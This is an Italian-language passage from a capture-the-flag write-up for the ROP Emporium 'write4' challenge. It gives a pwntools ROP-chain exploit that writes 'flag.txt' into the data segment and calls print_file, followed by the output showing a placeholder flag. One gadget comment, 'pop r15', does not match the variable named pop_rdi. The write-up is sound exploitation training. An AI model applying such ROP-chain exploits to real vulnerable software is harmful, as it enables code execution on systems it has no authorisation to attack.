Attenzione: anche qui lo stack è disallineato (almeno per me). Occorre quindi prendersi un gadget contenente solo “ret” prima di tutte le altre chiamate e dopo l’offset. Quindi come codice:

```
from pwn import *
data_seg = 0x00601028
print_file = 0x400510
only_ret_gadget = p64(0x00000000004004e6)

# L'offset RIP è a 40
rop = b"A" * 40
rop += only_ret_gadget

# Primo gadget per inizializzare r14 e r15 (sfruttando due ROP gadget e la sezione “data” che è scrivibile)
pop_r14_r15 = 0x0000000000400690 # pop r14 ;  pop r15 ; ret
rop += p64(pop_r14_r15)
rop += p64(data_seg)
rop += b"flag.txt"

#Scrivi in memoria
mov_r15_to_r14 = 0x0000000000400628 # mov qword ptr [r14], r15 ; ret
rop += p64(mov_r15_to_r14)

# Chiama la funzione “print_file”
pop_rdi = 0x0000000000400693 # pop r15 ; ret
rop += p64(pop_rdi)
rop += p64(data_seg)
rop += p64(print_file)

# Avvia processo e invia una ROP chain
e = process('write4')
e.sendline (rop)
e.interactive()
```

```
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64

Go ahead and give me the input already!

> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
```